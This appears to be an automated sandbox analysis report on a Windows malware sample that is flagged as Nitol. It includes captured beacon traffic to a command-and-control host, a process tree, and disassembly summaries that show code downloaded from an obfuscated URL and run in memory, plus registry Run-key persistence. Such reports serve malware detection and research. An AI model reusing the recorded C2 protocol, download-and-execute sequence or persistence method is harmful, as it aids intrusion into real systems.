2024-08-27 07:50:32 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wXi5CnERUqNbBTwg2AYgeA7rHiHUYXNCjPDSoYyAlIbi%2BjvXgweAl91Vwb7BxP%2BSBtMRQKEsSdu4zB6acbllIW1e0ojDmG7QsgVC6K7968Aa2TZu2CzksXVr8aGi7V6BB8XhvAc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a78a1386817e5-EWR
2024-08-27 07:50:32 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:50:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49722	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:37 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:37 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-08-27 07:50:38 UTC	546	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:38 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FO0orI4OSEuLYbDaVx8vSGM7yHoXamA%2FKC%2BawL41BaTMJ6xjJErNl%2FC2yjhoGzS6%2Fk2uLeSTmlRMzFn2QkMjIB95IQiujIcRybQHQsMaLbHPyT9mrjfwEwWFq7h8OQrSt7zGf%2FA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a78c79bd517c1-EWR
2024-08-27 07:50:38 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:50:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49723	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:46 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:46 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-08-27 07:50:46 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:46 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yb8D8snKFwEE4IExXzx%2F%2F76M2FtjivuEtpyzGMSN2JUZLd0K4tbkUPiLM6MRyQSKIfOGiIKQbkqPWd7SGoH1a2xh2ZUSJQDcyfrLhLOTeqz%2FVD0k1bWLrxW2SmuvXoNBqNoZtW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a78faabe3c420-EWR
2024-08-27 07:50:46 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:50:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49724	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:52 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:52 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-08-27 07:50:53 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:50:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ZfUDhFpIejQJaZmSG%2B4Q8wEVLfuhpvFcL7JMkMt749NdJJYofsI74Pi85YC9RRuLU%2By3TDwUHrQf93gOy32E0odVRm6uFbpxLSn%2FO4HtAn5NXUinpgEjExW6GmZvfBQ5XIiVrI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a79212eab4381-EWR
2024-08-27 07:50:53 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:50:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49725	104.26.7.127	443	5296	C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 07:50:59 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: a6i4oct4j4i9kob52n0pco2vfm Content-Length: 38 Host: mvc.withoutyou5.com
2024-08-27 07:50:59 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-08-27 07:51:00 UTC	542	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:51:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eyCPCFuPGC8QBvuRZp8pWn25Xp%2Fjh%2FWbKkzw7jRdT8Gt%2FF%2B0mg70rJEONhYTSyCISOYeprO446a4jT7nYZEdJcsHT9L7KMyOLu68PHuaWplLw5tRcPmJbJW8UVKSiFNKsouW6Uc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a794eedc941ff-EWR
2024-08-27 07:51:00 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-08-27 07:51:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:47:58
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\pXm5oVO3Go.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pXm5oVO3Go.exe"
Imagebase:	0x400000
File size:	3'656'704 bytes
MD5 hash:	64A2F030C7C91762485EE16BC8A12E4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:47:59
Start date:	27/08/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff7d66e0000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:49:59
Start date:	27/08/2024
Path:	C:\Program Files (x86)\6fjdie\DAPIjX8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\6fjdie\DAPIjX8.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:50:11
Start date:	27/08/2024
Path:	C:\Program Files (x86)\6fjdie\DAPIjX8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\6fjdie\DAPIjX8.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:50:19
Start date:	27/08/2024
Path:	C:\Program Files (x86)\6fjdie\DAPIjX8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\6fjdie\DAPIjX8.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	80.8%
Signature Coverage:	25.8%
Total number of Nodes:	918
Total number of Limit Nodes:	22

Executed Functions

Function 03640031 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 811memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 036404A2
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 036404D2

Strings

Fu, xrefs: 03640259
b, xrefs: 03640112
o, xrefs: 036401C8
tu, xrefs: 03640165
Syst, xrefs: 03640218
t, xrefs: 03640186
b, xrefs: 03640286
Rt, xrefs: 03640232
Li, xrefs: 0364010B
Ta, xrefs: 0364027C
fo, xrefs: 0364022B
a, xrefs: 0364011B
mI, xrefs: 03640220
ctio, xrefs: 0364026A
oc, xrefs: 03640153
yA, xrefs: 03640124
a, xrefs: 0364016C
ushI, xrefs: 0364019A
ucti, xrefs: 036401BD
Cach, xrefs: 036401F9
a, xrefs: 0364013D
a, xrefs: 03640102
otec, xrefs: 0364017E
st, xrefs: 036401AC
Via, xrefs: 03640311
Lo, xrefs: 036400FB
tNat, xrefs: 03640209
G, xrefs: 03640204
P, xrefs: 03640175
ee, xrefs: 036400EF
A, xrefs: 03640146
S, xrefs: 036400E6
tu, xrefs: 03640136
iv, xrefs: 03640211
p, xrefs: 036400F6
F, xrefs: 0364018B
A, xrefs: 03640243
Vi, xrefs: 0364012B

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction ID: 48401cde431cbaf841c771a45f396bfdbcc1a88e520fd2d92801c10ac27e2644
Opcode Fuzzy Hash: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction Fuzzy Hash: 4A626871A093959FE724CF24C940BABFBE5BF84304F08492DEA898B351E770D949CB56

Function 00420710 Relevance: 32.0, APIs: 8, Strings: 10, Instructions: 453
networkmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteA.SHELL32(00000000,rshq,xk>33wixperkyekiCperkAgpewwmg1~l1gr,00000000,00000000,00000001), ref: 004209E8
CreateThread.KERNEL32(00000000,00000000,?,00016B48,00000000,00000000), ref: 00420A34
VirtualAlloc.KERNEL32(00000000,000000FF,00001000,00000004), ref: 00420B86
VirtualAlloc.KERNEL32(00000000,00400000,00001000,00000040), ref: 00420D46
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00420D70
InternetOpenUrlA.WININET(?,lxxt>33{if2eh<;l=6n2gsq383psrk2fqt,00000000,00000000,80000000,00000000), ref: 00420D92
InternetReadFile.WININET(?,00000000,00002000,00000000), ref: 00420DDA
CreateThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00420E3D

Strings

msvcrt, xrefs: 00420843, 00420846
Shell32, xrefs: 004208CF, 004208D2
yD!, xrefs: 00420BDD, 00420BE3
kernelbase.dll, xrefs: 00420B4C, 00420B52
xk>33wixperkyekiCperkAgpewwmg1~l1gr, xrefs: 004209BE
lxxt>33{if2eh<;l=6n2gsq383psrk2fqt, xrefs: 00420D1D
#, xrefs: 004209B5
rshq, xrefs: 0042089E
wininet, xrefs: 00420C12, 00420C15
", xrefs: 00420D14

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Internet$AllocCreateOpenThreadVirtual$ExecuteFileReadShell
String ID: yD!$"$#$Shell32$kernelbase.dll$lxxt>33{if2eh<;l=6n2gsq383psrk2fqt$msvcrt$rshq$wininet$xk>33wixperkyekiCperkAgpewwmg1~l1gr
API String ID: 2427132717-3945075071
Opcode ID: 69266da5197d4156bfa68b13fef2e2114937dfde714d3901c17851fe9ed831eb
Instruction ID: b9ef46bf813e0610e8d4c415594b793da0c7f154e6098c1bc68ff7569547f3c3
Opcode Fuzzy Hash: 69266da5197d4156bfa68b13fef2e2114937dfde714d3901c17851fe9ed831eb
Instruction Fuzzy Hash: 39324E70D08398DEEB21CBA8D845BDDBFB56F15708F5441C9E1487B282C7BA1A84CF66

Function 0040EB30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000EAD0,ED2F953D), ref: 0040EB63
GetClassInfoW.USER32(?,#32770,?), ref: 0040EBC2
InitCommonControlsEx.COMCTL32(?), ref: 0040EBEF
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0040EC16

Part of subcall function 005373CC: _malloc.LIBCMT ref: 005373EA

Strings

#32770, xrefs: 0040EBBC

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: ClassCommonControlsExceptionFilterGdiplusInfoInitStartupUnhandled_malloc
String ID: #32770
API String ID: 3338494789-463685578
Opcode ID: 451ebffd18cfcb30c8332fa409f70244c359509bb77b1719bd2b1b0b7cee76ff
Instruction ID: f5d5fc1f3776b5d2185d5017cf2985b55b0a1cf5fb9be8e53022bb48848d8530
Opcode Fuzzy Hash: 451ebffd18cfcb30c8332fa409f70244c359509bb77b1719bd2b1b0b7cee76ff
Instruction Fuzzy Hash: BC41B6B15083429BE704EF65DC49B5BBBE5FB88704F004A3EF549932D1EBB9D4088B96

Function 10008BDA Relevance: 4.9, APIs: 3, Instructions: 395
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10007E17: SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FCD,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007E43

__fassign.LIBCMT ref: 10008E09
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 10008F6E
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 10008F9A

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: FileTime$LocalPointerSystem__fassign
String ID:
API String ID: 3768451866-0
Opcode ID: 40e32fb4b8a00f69b7b1568f7fad5f0b1312cb9daff528d9d1dbc7183ed708c9
Instruction ID: 557576cbc3803644095bf150e3d73ac2e181a1a26de8671f3226a8038d31e2d8
Opcode Fuzzy Hash: 40e32fb4b8a00f69b7b1568f7fad5f0b1312cb9daff528d9d1dbc7183ed708c9
Instruction Fuzzy Hash: 56F1E171A046699BEB64CF24C8847D9BBF0FF18380F1046EAE899D7285D735AB85CF50

Function 100039A3 Relevance: 202.6, APIs: 68, Strings: 47, Instructions: 1399
sleepregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10003B3C
Sleep.KERNEL32(00000001), ref: 10003B63
_memset.LIBCMT ref: 10003C95
Sleep.KERNEL32(00000001), ref: 10003CB6
_memset.LIBCMT ref: 10003DE6
__time64.LIBCMT ref: 10003E06
_memset.LIBCMT ref: 10003E29
_rand.LIBCMT ref: 10003E31
_rand.LIBCMT ref: 10003E4B
_memset.LIBCMT ref: 10003EC9
wsprintfA.USER32 ref: 10003EEE
_memset.LIBCMT ref: 10003F05
Sleep.KERNEL32(00000001), ref: 10003F36
_memset.LIBCMT ref: 10003F49
wsprintfA.USER32 ref: 10003F66
_memset.LIBCMT ref: 10003FB5
wsprintfA.USER32 ref: 10003FDB
_memset.LIBCMT ref: 10003FF6
Sleep.KERNEL32(00000001), ref: 10004015
_memset.LIBCMT ref: 10004047
wsprintfA.USER32 ref: 10004068
_memset.LIBCMT ref: 1000407F
Sleep.KERNEL32(00000001), ref: 1000409E
_memset.LIBCMT ref: 100040CB
wsprintfA.USER32 ref: 100040EC
_memset.LIBCMT ref: 10004103

Part of subcall function 100028B9: _memset.LIBCMT ref: 10002908
Part of subcall function 100028B9: _memset.LIBCMT ref: 1000291A
Part of subcall function 100028B9: _memset.LIBCMT ref: 10002929

Sleep.KERNEL32(000003F2), ref: 1000416B
Sleep.KERNEL32(000003F2), ref: 100041A8
Sleep.KERNEL32(000003F2), ref: 100041E5
__time64.LIBCMT ref: 100041F3
_memset.LIBCMT ref: 10004211
_rand.LIBCMT ref: 1000421B
_memset.LIBCMT ref: 1000424A
_memset.LIBCMT ref: 100042A8

Part of subcall function 1000A063: __EH_prolog3_GS.LIBCMT ref: 1000A06D
Part of subcall function 1000A063: wsprintfA.USER32 ref: 1000A0FC
Part of subcall function 1000A063: OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017380,000000FF), ref: 1000A435

Part of subcall function 10002E6F: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10002E8B
Part of subcall function 10002E6F: GetFileSize.KERNEL32(00000000,00000000), ref: 10002E96
Part of subcall function 10002E6F: ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 10002EB1

Sleep.KERNEL32(00000001), ref: 100043C8
Sleep.KERNEL32(00000320), ref: 100043CF
_memset.LIBCMT ref: 100043E9
_mbstowcs.LIBCMT ref: 10004406

Part of subcall function 1000AFBD: __mbstowcs_l_helper.LIBCMT ref: 1000AFDD

_memset.LIBCMT ref: 10004427
_memset.LIBCMT ref: 1000444E
_strcat_s.LIBCMT ref: 1000446B
FindWindowExA.USER32(00000000,00000000,?,00000000), ref: 1000447E
Sleep.KERNEL32(?,?,?,?,?,?,?,?,00000000,000000FB), ref: 100044AB
GlobalAddAtomA.KERNEL32(?), ref: 100046A1
_memset.LIBCMT ref: 1000471A
_memset.LIBCMT ref: 10004797
_memset.LIBCMT ref: 100047FA

Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001BCD
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001BEB
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10001BF8
Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001E65
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001E83
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10001E90
Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 100020FD
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000211B
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10002128

Part of subcall function 10002388: __EH_prolog3_GS.LIBCMT ref: 10002392
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 100023D4
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 100023F4
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 10002411
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 1000242E

_memset.LIBCMT ref: 10004B66
LoadLibraryA.KERNEL32(?,?,00000000,000000F3), ref: 10004B76
_memset.LIBCMT ref: 10004BB7
GetProcAddress.KERNEL32(00000000,?), ref: 10004BC8
_memset.LIBCMT ref: 10004BF4
ShellExecuteA.SHELL32(00000000,?,?,00000000,00000000,00000005,?,00000000,000000FA,?,?,?,?,00000000,000000F1), ref: 10004C11
Sleep.KERNEL32(000003E8,?,?,?,?,00000000,000000F1), ref: 10004C1E

Part of subcall function 100031C7: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100031EE
Part of subcall function 100031C7: _strrchr.LIBCMT ref: 100031FD

Sleep.KERNEL32(00000001,?,?,?,?,00000000,000000F1), ref: 10004C27

Part of subcall function 1000BCAF: _doexit.LIBCMT ref: 1000BCBB

RegOpenKeyExA.KERNEL32(80000001,1001A800,00000000,000F003F,?), ref: 10004C48
RegSetValueExA.KERNEL32(?,1001A830,00000000,00000001,?,?,?,?,?,?,00000000,000000F1), ref: 10004C7A
RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,000000F1), ref: 10004C86
Sleep.KERNEL32(000003E8), ref: 10004C9C

Strings

G_SZ /d ", xrefs: 1000491D
text/, xrefs: 10004339
roso, xrefs: 10004874
t4d., xrefs: 1000402A
t3d., xrefs: 10003F98
Open, xrefs: 10004BE2
l32., xrefs: 10004B50
tmp, xrefs: 100040B9
C:\P, xrefs: 10003E80
long, xrefs: 10004137, 1000413E
d "HK, xrefs: 1000482A
A, xrefs: 10004BAD
le:///, xrefs: 10004A01
iles, xrefs: 10003EA1
lalala123%, xrefs: 1000431E
g.e, xrefs: 100047C7
mo /t RE, xrefs: 10004905
.exe, xrefs: 10004283
%s.e, xrefs: 100042C8
%s%s, xrefs: 10004278
rogr, xrefs: 10003E8B
(x8, xrefs: 10003EAC
dows\Curr, xrefs: 100048A4
Q36, xrefs: 1000441C
Shel, xrefs: 10004B8C
TWARE\Mic, xrefs: 1000485B
6)\, xrefs: 10003EB7
dll, xrefs: 10004B5B
0SafeMonClass, xrefs: 1000442C
am F, xrefs: 10003E96
%s%s, xrefs: 10003FCD, 10003FD9, 10004066, 100040EA
entVe, xrefs: 100048BD
xe, xrefs: 100042D3
un" /v de, xrefs: 100048EC
t5d., xrefs: 100040AE
Shel, xrefs: 10004B45
2.l, xrefs: 10004764
dowWndClass, xrefs: 10004A65
tmp, xrefs: 10003FA3
BkSha, xrefs: 10004A43
lExe, xrefs: 10004B97
tmp, xrefs: 10004035
rsion\R, xrefs: 100048D5
cef.dll, xrefs: 10003F83
CU\SOF, xrefs: 10004842
cute, xrefs: 10004BA2
ft\Win, xrefs: 1000488B

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: _memset$Sleep$Open$Processwsprintf$CloseFileInitVariant$HandleToken_rand$H_prolog3___time64$AddressAtomCreateDebugExecuteFindGlobalLibraryLoadModuleNameOutputProcReadShellSizeStringValueWindow__mbstowcs_l_helper_doexit_mbstowcs_strcat_s_strrchr
String ID: (x8$%s%s$%s%s$%s.e$.exe$0SafeMonClass$2.l$6)\$A$BkSha$C:\P$CU\SOF$G_SZ /d "$Open$Q36$Shel$Shel$TWARE\Mic$am F$cef.dll$cute$d "HK$dll$dowWndClass$dows\Curr$entVe$ft\Win$g.e$iles$l32.$lExe$lalala123%$le:///$long$mo /t RE$rogr$roso$rsion\R$t3d.$t4d.$t5d.$text/$tmp$tmp$tmp$un" /v de$xe
API String ID: 2119807209-329007690
Opcode ID: c9c76253132aca2ab718f9d89e5fd2c160784e6ca4753814a731e3336da5125a
Instruction ID: dc6513a9a33df5a03291291388f4a278a9130dac831befe3f30b2f877d04dd66
Opcode Fuzzy Hash: c9c76253132aca2ab718f9d89e5fd2c160784e6ca4753814a731e3336da5125a
Instruction Fuzzy Hash: 14B2E27554C3C5AAE221DB60D841FABB7E9EFC4740F00482EF5C8CB291EAB199458B97

Function 100092BD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__fassign.LIBCMT ref: 100093B4
_memset.LIBCMT ref: 100093E8
